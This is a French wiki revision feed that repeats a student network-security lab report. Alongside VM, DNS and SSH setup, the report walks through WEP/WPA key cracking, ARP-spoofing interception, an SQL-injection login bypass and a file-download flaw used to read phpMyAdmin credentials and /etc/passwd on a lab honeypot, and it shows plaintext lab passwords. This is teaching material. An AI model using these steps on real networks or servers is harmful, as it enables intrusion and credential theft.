Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.png|center]]&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Config_dbphp.png&amp;diff=55118</id>
		<title>Fichier:Config dbphp.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Config_dbphp.png&amp;diff=55118"/>
				<updated>2020-12-21T16:50:10Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55116</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55116"/>
				<updated>2020-12-21T16:49:43Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Intrusion sur un serveur d'application Web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;  &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
(photo)&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations ci-dessous :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:injectionSQL.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Phpmyadmin.png&amp;diff=55113</id>
		<title>Fichier:Phpmyadmin.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Phpmyadmin.png&amp;diff=55113"/>
				<updated>2020-12-21T16:42:06Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55112</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55112"/>
				<updated>2020-12-21T16:41:45Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Intrusion sur un serveur d'application Web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;  &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
(photo)&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations ci-dessous :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:injectionSQL.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
